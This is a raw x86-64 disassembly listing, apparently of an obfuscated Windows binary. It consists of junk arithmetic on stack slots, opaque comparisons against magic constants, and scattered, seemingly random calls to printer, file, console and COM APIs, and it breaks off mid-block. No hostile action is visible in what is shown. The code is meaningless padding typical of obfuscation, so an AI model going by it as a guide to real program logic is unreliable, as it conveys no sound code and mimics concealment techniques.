mov rax, qword [rsp + 0x3020]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x1d4c0], al
mov rax, qword [rsp + 0x100f8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x6078]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [0x14015d2c8], ax
movzx ecx, word [rsp + 0x112e0]
movzx eax, word [rsp + 0x1cd58]
or ecx, eax
mov rax, qword [rsp + 0x1650]
mov word [rax], cx
mov rax, qword [rsp + 0xd3a8]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x3020]
movzx eax, byte [rax]
xor ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
mov rax, qword [rsp + 0x6078]
movsx edx, word [rax]
mov rax, qword [rsp + 0x100f8]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0xaa5c], ax
mov rcx, qword [rsp + 0x4c20]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x142e8]
and rax, rcx
mov qword [rsp + 0xaf68], rax
mov rax, qword [rsp + 0xbec0]
mov rcx, qword [rsp + 0xb9d8]
add rcx, rax
mov rax, qword [rsp + 0x1a830]
mov qword [rax], rcx
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e88]
sub ecx, eax
mov rax, qword [rsp + 0x1a48]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1ef10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f80]
sub ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1650]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
add ecx, eax
mov rax, qword [rsp + 0x1650]
mov word [rax], cx
mov rax, qword [rsp + 0x1a830]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x14080]
sub rcx, rax
mov rax, qword [0x14015f9c8]
mov qword [rax], rcx
movsx ecx, word [rsp + 0x11a90]
movsx eax, word [rsp + 0xfd20]
sub ecx, eax
mov rax, qword [rsp + 0x100f8]
mov word [rax], cx
movzx edx, byte [rsp + 0x8ac1]
mov rax, qword [rsp + 0x18cc0]
movzx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x10e00], al
movzx edx, word [rsp + 0x3d10]
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x18b28], ax
mov rax, qword [rsp + 0x1a830]
mov rcx, qword [rsp + 0x6420]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x14080], rax
mov ecx, dword [rsp + 0x3f80]
mov rax, qword [rsp + 0x12a38]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xece4], eax
mov rax, qword [rsp + 0x12028]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x1a48]
mov eax, dword [rax]
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xb370]
mov dword [rax], ecx
mov rax, qword [rsp + 0x142e8]
mov rcx, qword [rsp + 0xaf68]
xor rcx, rax
mov rax, qword [rsp + 0x118c0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb681]
add eax, ecx
mov byte [rsp + 0xd6b9], al
cmp dword [rsp + 0x41ec], 0x2926
jbe 0x14001d865
mov rax, qword [rsp + 0x6078]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x6d38]
and eax, ecx
mov word [0x14015d2d0], ax
movsx eax, word [rsp + 0x6d38]
mov dword [rsp + 0x1fdc0], eax
cmp dword [rsp + 0x1fdc0], 0
je 0x14001dfc2
cmp dword [rsp + 0x1fdc0], 0x715a
je 0x14001dea2
jmp 0x1401482a2
lea r9, [rsp + 0x19e88]
mov r8d, 0xfd
lea rdx, [rsp + 0xdf70]
mov rcx, qword [rsp + 0x1368]
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rsp + 0x47d8], eax
mov rax, qword [rsp + 0x1cde0]
mov qword [rsp + 0x1fdc8], rax
movabs rax, 0x16ef3751640c7018
cmp qword [rsp + 0x1fdc8], rax
je 0x14001df2b
movabs rax, 0x792d240196e4fb85
cmp qword [rsp + 0x1fdc8], rax
je 0x14001df09
jmp 0x14001dfbd
mov rcx, qword [rsp + 0x12028]
mov eax, dword [rsp + 0xf7cc]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x1a48]
mov dword [rax], ecx
jmp 0x14001dfbd
mov rcx, qword [rsp + 0xd7f0]
mov rax, qword [rsp + 0xb9d8]
add rax, rcx
mov qword [rsp + 0xbec0], rax
mov rcx, qword [rsp + 0x1ef10]
mov eax, dword [rsp + 0x189b4]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x1a00]
mov dword [rax], ecx
lea rdx, [rsp + 0xd6b9]
mov rcx, qword [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov dword [rsp + 0x14028], eax
mov rcx, qword [rsp + 0x118c0]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x142e8]
and rax, rcx
mov qword [rsp + 0xaf68], rax
mov rcx, qword [0x14015f9c8]
mov rax, qword [rsp + 0x1e4b8]
mov rcx, qword [rcx]
or rcx, rax
mov rax, qword [0x14015f9c8]
mov qword [rax], rcx
jmp 0x1401482a2
cmp dword [rsp + 0x195d8], 0x5b9b
jae 0x14001e556
movsx edx, word [rsp + 0x11a90]
movsx eax, word [rsp + 0xaa5c]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x19e88]
mov word [rax], cx
movzx edx, word [rsp + 0x18b28]
mov rax, qword [0x14015e9e8]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0x3020]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
xor ecx, eax
mov rax, qword [rsp + 0xd3a8]
mov byte [rax], cl
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x19658]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x12150]
mov byte [rax], cl
mov rax, qword [rsp + 0x1bea8]
mov rcx, qword [rsp + 0xaf68]
add rcx, rax
mov rax, qword [rsp + 0x14650]
mov qword [rax], rcx
mov rax, qword [rsp + 0x12a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xece4]
and ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x19448]
mov rcx, qword [0x1401601a8]
sub rcx, rax
mov rax, qword [rsp + 0x1a830]
mov qword [rax], rcx
mov eax, dword [rsp + 0x195d8]
add eax, 0x5d
mov dword [rsp + 0x195d8], eax
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x10b78]
sub ecx, eax
mov rax, qword [rsp + 0x1a48]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x6420]
mov rax, qword [rsp + 0xd7f0]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [0x14015f9c8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6078]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xaa5c]
sub eax, ecx
mov word [rsp + 0x11a90], ax
mov rax, qword [rsp + 0x98d8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x19658]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0xc140], al
movzx ecx, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x112e0]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movsx ecx, byte [rsp + 0xc140]
mov rax, qword [rsp + 0x1cd50]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x98d8]
mov byte [rax], cl
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xece4]
add ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
mov rdx, qword [rsp + 0x1a48]
mov rax, qword [rsp + 0xb370]
mov ecx, dword [rax]
mov eax, dword [rdx]
or eax, ecx
mov dword [rsp + 0x154d0], eax
mov rcx, qword [rsp + 0x142e8]
mov rax, qword [rsp + 0x14650]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x1bea8], rax
mov rax, qword [rsp + 0x1a830]
mov rcx, qword [rsp + 0xd7f0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x19448], rax
movzx edx, word [rsp + 0x18b28]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x1cd58], ax
mov rax, qword [rsp + 0x6420]
mov rax, qword [rax]
mov rcx, qword [0x1401601a8]
and rcx, rax
mov rax, qword [0x14015f9c8]
mov qword [rax], rcx
movsx eax, word [rsp + 0x11a90]
movsx ecx, word [rsp + 0xaa5c]
add eax, ecx
mov word [rsp + 0x6d38], ax
movzx ecx, byte [rsp + 0xb681]
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x3020]
mov byte [rax], cl
mov rax, qword [rsp + 0x6078]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x100f8]
movsx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x6078]
mov word [rax], cx
mov rax, qword [rsp + 0x19448]
mov rcx, qword [rsp + 0x1e4b8]
sub rcx, rax
mov rax, qword [rsp + 0x1a830]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x14650]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0xaf68]
add rax, rcx
mov qword [rsp + 0x1bea8], rax
mov eax, dword [rsp + 0x17460]
mov ecx, dword [rsp + 0x16e60]
sub ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
mov eax, dword [rsp + 0xf7cc]
mov ecx, dword [rsp + 0x10b78]
sub ecx, eax
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x12150]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
mov rax, qword [rsp + 0x19e88]
movsx edx, word [rax]
movsx eax, word [0x14015d2d0]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [0x14015d2c8], ax
movsx edx, word [rsp + 0xfd20]
mov rax, qword [rsp + 0x100f8]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x19e88]
mov word [rax], cx
mov rax, qword [rsp + 0x18cc0]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x1d4c0]
or ecx, eax
mov rax, qword [rsp + 0xd3a8]
mov byte [rax], cl
movzx ecx, word [0x14015d2cc]
movzx eax, word [rsp + 0x1cd58]
xor ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x1a830]
mov rcx, qword [rsp + 0xd7f0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x14080], rax
mov rax, qword [rsp + 0x1a00]
mov ecx, dword [rax]
mov eax, dword [rsp + 0xece4]
sub eax, ecx
mov dword [rsp + 0x189b4], eax
mov rax, qword [rsp + 0x142e8]
mov rcx, qword [rsp + 0x1bea8]
sub rcx, rax
mov rax, qword [rsp + 0x118c0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1a48]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x10b78]
sub eax, ecx
mov dword [rsp + 0x154d0], eax
mov rax, qword [rsp + 0x3020]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d4c0]
add eax, ecx
mov byte [rsp + 0x10e00], al
mov rax, qword [rsp + 0x12d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbec0]
and rcx, rax
mov rax, qword [0x14015f9c8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1650]
movzx edx, word [rax]
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x1cd58], ax
movsx ecx, byte [rsp + 0x1be30]
movsx eax, byte [rsp + 0xc140]
sub ecx, eax
mov rax, qword [rsp + 0x19658]
mov byte [rax], cl
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x98d8]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x12150]
mov byte [rax], cl
mov rax, qword [rsp + 0xbec0]
mov rcx, qword [rsp + 0x14080]
add rcx, rax
mov rax, qword [rsp + 0x5618]
mov qword [rax], rcx
mov rax, qword [rsp + 0x118c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1bea8]
xor rcx, rax
mov rax, qword [rsp + 0x1b540]
mov qword [rax], rcx
mov rdx, qword [rsp + 0x1a00]
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rax]
mov eax, dword [rdx]
or eax, ecx
mov dword [rsp + 0xece4], eax
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x154d0]
shl eax, cl
mov dword [rsp + 0x10b78], eax
mov rax, qword [rsp + 0x100f8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x6078]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x100f8]
mov word [rax], cx
jmp 0x14001dfc2
mov rax, qword [rsp + 0x3020]
movzx eax, byte [rax]
mov byte [0x14015f5e6], al
mov al, byte [rsp + 0x10e00]
mov byte [rsp + 0x1fdd0], al
cmp byte [rsp + 0x1fdd0], 0
je 0x14001e584
jmp 0x14001e715
movzx edx, word [rsp + 0x18b28]
mov rax, qword [0x14015e9e8]
movzx eax, word [rax]
and edx, eax
movzx eax, word [rsp + 0x3d10]
movzx ecx, word [rsp + 0x1cd58]
add eax, ecx
cmp edx, eax
je 0x14001e5e5
lea rax, [rsp + 0xaf68]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xcfa0]
mov r8d, 3
mov edx, 4
mov ecx, 0x6b
call qword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
mov dword [rsp + 0x1bc0], eax
jmp 0x14001e713
mov rax, qword [rsp + 0xbec0]
mov rdx, qword [rsp + 0xb9d8]
sub rdx, rax
mov rax, qword [rsp + 0x6420]
mov rcx, qword [rsp + 0xd7f0]
mov rax, qword [rax]
sub rax, rcx
cmp rdx, rax
jl 0x14001e713
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
mov word [rsp + 0x5068], ax
mov rax, qword [rsp + 0x142e8]
mov qword [rsp + 0x1fdd8], rax
movabs rax, 0xae0fe284ad70a3b3
cmp qword [rsp + 0x1fdd8], rax
je 0x14001e653
jmp 0x14001e713
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x1650]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
mov dword [rsp + 0x1fde0], eax
cmp dword [rsp + 0x1fde0], 0x3f6
je 0x14001e697
jmp 0x14001e6f9
lea rdx, [rsp + 0x2d10]
mov rcx, qword [rsp + 0x69e8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x13780], eax
mov rax, qword [rsp + 0x17808]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0xc140], al
mov rax, qword [rsp + 0x12150]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x17808]
movsx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
jmp 0x14001e713
mov edx, 0xed
mov rcx, qword [rsp + 0x2d10]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x1048], rax
jmp 0x14001e778
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f80]
sub ecx, eax
mov rax, qword [rsp + 0x1a00]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x154d0]
mov eax, dword [rsp + 0xf7cc]
add eax, ecx
mov dword [rsp + 0x6e88], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc670], rax
mov rcx, qword [rsp + 0x1a830]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x12d70]
add rcx, qword [rax]
mov rax, qword [rsp + 0x5618]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x14650]
mov rax, qword [rsp + 0x142e8]
mov rcx, qword [rcx]
or rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
mov rdx, qword [rsp + 0x1bea8]
xor rdx, rax
mov rcx, qword [rsp + 0x118c0]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x14650]
mov rax, qword [rax]
shr rax, cl
cmp rdx, rax
je 0x14001e7eb
movsx eax, word [rsp + 0xaa5c]
movsx ecx, word [rsp + 0x11a90]
sub eax, ecx
mov word [0x14015d2d0], ax
jmp 0x14001e982
movzx edi, word [rsp + 0x1cd58]
mov rax, qword [0x14015e9e8]
movzx eax, word [rax]
movzx ecx, al
shl edi, cl
movzx edx, word [rsp + 0x5068]
mov rax, qword [rsp + 0x1650]
movzx ecx, word [rax]
mov eax, edx
and eax, ecx
cmp edi, eax
jle 0x14001e982
movzx ecx, byte [rsp + 0xb681]
mov rax, qword [rsp + 0x3020]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0xd3a8]
mov byte [rax], cl
mov rax, qword [rsp + 0x1650]
movzx eax, word [rax]
mov dword [rsp + 0x1fde4], eax
cmp dword [rsp + 0x1fde4], 0x655
je 0x14001e864
jmp 0x14001e964
mov rax, qword [rsp + 0x1e6e8]
mov eax, dword [rax]
mov edx, dword [rsp + 0xece4]
sub edx, eax
mov rax, qword [rsp + 0x1ef10]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x189b4]
add eax, ecx
cmp edx, eax
jbe 0x14001e962
mov rax, qword [rsp + 0x104a0]
movzx edx, word [rax]
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x5068], ax
mov dword [rsp + 0x20], 0xbd
lea r9, [rsp + 0x4988]
mov r8d, 0x4d
mov edx, 0x12
mov rcx, qword [rsp + 0x1368]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x12f9c], eax
mov al, byte [rsp + 0xb681]
mov byte [rsp + 0x1fde8], al
cmp byte [rsp + 0x1fde8], 0x7b
je 0x14001e944
cmp byte [rsp + 0x1fde8], 0xfa
je 0x14001e907
jmp 0x14001e962
mov rax, qword [rsp + 0x6078]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x100f8]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x19e88]
mov word [rax], cx
mov rdx, qword [rsp + 0xaf68]
mov rcx, qword [rsp + 0x1a830]
mov rcx, qword [rcx]
call fcn.140148d70
jmp 0x14001e962
movsx edx, byte [rsp + 0xc140]
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x1be30], al
jmp 0x14001e982
mov rax, qword [rsp + 0xaf68]
mov rcx, qword [rsp + 0x1bea8]
add rcx, rax
mov rax, qword [rsp + 0x14650]
mov qword [rax], rcx
movsx edi, byte [rsp + 0xc140]
mov rax, qword [rsp + 0x1cd50]
movsx eax, byte [rax]
movzx ecx, al
shl edi, cl
mov rax, qword [rsp + 0x98d8]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x19d58]
movzx ecx, al
mov eax, edx
sar eax, cl
cmp edi, eax
jl 0x14001eb1b
mov eax, dword [rsp + 0x16e60]
mov edx, dword [rsp + 0x3f80]
or edx, eax
mov rax, qword [rsp + 0x12a38]
mov ecx, dword [rsp + 0x13780]
mov eax, dword [rax]
xor eax, ecx
cmp edx, eax
jae 0x14001ea1a
mov rax, qword [rsp + 0x5618]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x6420]
mov r9, qword [r9]
mov r8, qword [0x1401601a8]
movzx edx, word [rsp + 0x11a90]
mov rcx, qword [rsp + 0x19448]
call fcn.140011920
mov eax, dword [rsp + 0x10b78]
mov dword [rsp + 0x1fdec], eax
cmp dword [rsp + 0x1fdec], 0
je 0x14001ea48
cmp dword [rsp + 0x1fdec], 0x18cb1c5
je 0x14001eae7
jmp 0x14001eb1b
mov eax, dword [rsp + 0x13780]
mov dword [rsp + 0x1d364], eax
mov al, byte [0x14015f5e6]
mov byte [rsp + 0x1fdf0], al
cmp byte [rsp + 0x1fdf0], 0xf0
je 0x14001ea6f
jmp 0x14001eae5
lea rdx, [rsp + 0x10b78]
mov rcx, qword [rsp + 0xcfa0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x1b058], eax
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12028]
add eax, dword [rcx]
mov dword [rsp + 0x6e88], eax
mov rax, qword [rsp + 0x5618]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1e4b8]
and rcx, rax
mov rax, qword [rsp + 0x12d70]
mov qword [rax], rcx
lea rdx, [rsp + 0xd940]
lea rcx, [rsp + 0x1a638]
call qword [sym.imp.ole32.dll_CoQueryAuthenticationServices]
mov dword [rsp + 0x1f36c], eax
jmp 0x14001eb1b
mov rax, qword [0x1401601a8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x19448]
mov r8, qword [rsp + 0x19448]
mov rax, qword [rsp + 0x6078]
movzx edx, word [rax]
mov rcx, qword [rsp + 0xb9d8]
call fcn.140011920
mov rax, qword [rsp + 0x1228]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x19658]
movsx eax, byte [rax]
add edx, eax
movsx eax, byte [rsp + 0x1be30]
movsx ecx, byte [rsp + 0x19d58]
add eax, ecx
cmp edx, eax
jle 0x14001ec2c
mov rax, qword [rsp + 0x6078]
movsx eax, word [rax]
mov dword [rsp + 0x1fdf4], eax
cmp dword [rsp + 0x1fdf4], 0x8ab
je 0x14001eb70
jmp 0x14001eb99
mov rax, qword [rsp + 0x17808]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x12150]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x19658]
mov byte [rax], cl
mov rdx, qword [rsp + 0x12d70]
mov rax, qword [rsp + 0x1e4b8]
mov rdx, qword [rdx]
and rdx, rax
mov rax, qword [rsp + 0x5618]
mov rcx, qword [rsp + 0x19448]
mov rax, qword [rax]
xor rax, rcx
cmp rdx, rax
jge 0x14001ebe5
mov edx, 1
lea rcx, [fcn.140148d70]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov dword [rsp + 0x1b058], eax
jmp 0x14001ec11
movzx edi, byte [rsp + 0xb681]
movzx eax, byte [rsp + 0x10e00]
movzx ecx, al
shl edi, cl
movzx edx, byte [rsp + 0x1d4c0]
mov rax, qword [rsp + 0x3020]
movzx ecx, byte [rax]
mov eax, edx
or eax, ecx
mov rax, qword [rsp + 0xb370]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x6e88]
call fcn.140012900
jmp 0x1401481e5
movzx edi, byte [0x14015f5e6]
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
add edi, eax
mov rax, qword [rsp + 0x3020]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xd3a8]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
cmp edi, eax
jg 0x1401481e5
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov dword [rsp + 0x1fdf8], eax
cmp dword [rsp + 0x1fdf8], 0
je 0x14001ec93
cmp dword [rsp + 0x1fdf8], 0x184340c4
je 0x14014802f
jmp 0x1401480af
movzx edx, byte [rsp + 0x1d4c0]
mov rax, qword [rsp + 0x3020]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8ac1]
sub eax, ecx
cmp edx, eax
je 0x14001ed66
mov rax, qword [rsp + 0xd3a8]
mov al, byte [rax]
mov byte [rsp + 0x1fdfc], al
cmp byte [rsp + 0x1fdfc], 0xa
je 0x14001ecec
cmp byte [rsp + 0x1fdfc], 0xac
je 0x14001ed4b
jmp 0x14001ed61
movzx ecx, word [rsp + 0x5068]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [0x14015e9e8]
mov word [rax], cx
mov rax, qword [rsp + 0x19e88]
movsx edx, word [rax]
mov rax, qword [rsp + 0x100f8]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x3860], ax
movzx ecx, word [rsp + 0x5068]
movzx eax, word [0x14015d2cc]
or ecx, eax
mov rax, qword [rsp + 0x1650]
mov word [rax], cx
jmp 0x14001ed61
mov rax, qword [rsp + 0x1a48]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x6e88]
call fcn.140012900
jmp 0x14001ee98
mov rax, qword [rsp + 0x19658]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x19d58]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x12150]
mov byte [rax], cl
movzx edx, byte [0x14015f5e6]
movzx eax, byte [rsp + 0xd6b9]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x3020]
mov byte [rax], cl
movsx eax, word [rsp + 0xfd20]
mov dword [rsp + 0x1fe00], eax
cmp dword [rsp + 0x1fe00], 0
je 0x14001ee88
cmp dword [rsp + 0x1fe00], 0xe3
je 0x14001eddd
jmp 0x14001ee98
lea rdx, [rsp + 0xb9d8]
lea rcx, [rsp + 0x11ff8]
call qword [sym.imp.ole32.dll_OleGetAutoConvert]
mov dword [rsp + 0x7b64], eax
mov rax, qword [rsp + 0x4c20]
mov rcx, qword [rsp + 0x14650]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xaf68], rax
mov rcx, qword [rsp + 0x5618]
mov rax, qword [rsp + 0x6420]
mov rax, qword [rax]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x1a830]
mov qword [rax], rcx
lea r9, [rsp + 0x100f8]
mov r8d, 0x39
lea rdx, [rsp + 0x1bea8]
mov rcx, qword [rsp + 0x6fd8]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x47d8], eax
mov rax, qword [rsp + 0x1ef10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x16e60]
add ecx, eax
mov rax, qword [rsp + 0x1a00]
mov dword [rax], ecx
jmp 0x14001ee98
lea rax, [rsp + 0x6e88]
mov qword [rsp + 0x15320], rax
lea rax, [rsp + 0x3860]
mov qword [0x14015e890], rax
mov al, byte [rsp + 0x1be30]
mov byte [rsp + 0x1fe04], al
cmp byte [rsp + 0x1fe04], 0x45
je 0x14001eec4
jmp 0x14001ef63
mov eax, dword [rsp + 0x16e60]
mov dword [rsp + 0x1fe08], eax
cmp dword [rsp + 0x1fe08], 0xa72be8b3
je 0x14001eee1
jmp 0x14001ef51
lea rax, [rsp + 0xb681]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x131b0]
mov r8d, 0x21
lea rdx, [rsp + 0x112e0]
mov rcx, qword [rsp + 0x3a80]
call qword [sym.imp.KERNEL32.dll_WriteFileEx]
mov dword [rsp + 0x12f9c], eax
movzx eax, word [rsp + 0x3d10]
movzx ecx, word [rsp + 0x5068]
sub eax, ecx
mov word [rsp + 0x18b28], ax
movsx ecx, byte [rsp + 0xc140]
movsx eax, byte [rsp + 0x19d58]
and ecx, eax
mov rax, qword [rsp + 0x19658]
mov byte [rax], cl
jmp 0x14001ef5e
call qword [sym.imp.ole32.dll_CoRevertToSelf]
mov dword [rsp + 0x1bc0], eax
jmp 0x14001f104
movzx eax, word [rsp + 0x18b28]
mov dword [rsp + 0x1fe0c], eax
cmp dword [rsp + 0x1fe0c], 0
je 0x14001ef92
cmp dword [rsp + 0x1fe0c], 0xfb0
je 0x14001f0e3
jmp 0x14001f104
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
movzx ecx, byte [0x14015f5e6]
sub eax, ecx
mov byte [rsp + 0x10e00], al
mov rax, qword [rsp + 0x19448]
mov rdx, qword [rsp + 0xb9d8]
add rdx, rax
mov rax, qword [rsp + 0x6420]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5618]
add rax, qword [rcx]
cmp rdx, rax
jge 0x14001f0e1
movsx edx, byte [rsp + 0xc140]
movsx eax, byte [rsp + 0x1be30]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x17808]
mov byte [rax], cl
movzx eax, word [rsp + 0x1cd58]
mov dword [rsp + 0x1fe10], eax
cmp dword [rsp + 0x1fe10], 0xf6d
je 0x14001f023
jmp 0x14001f0ce
mov rcx, qword [rsp + 0x12d70]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x1a830]
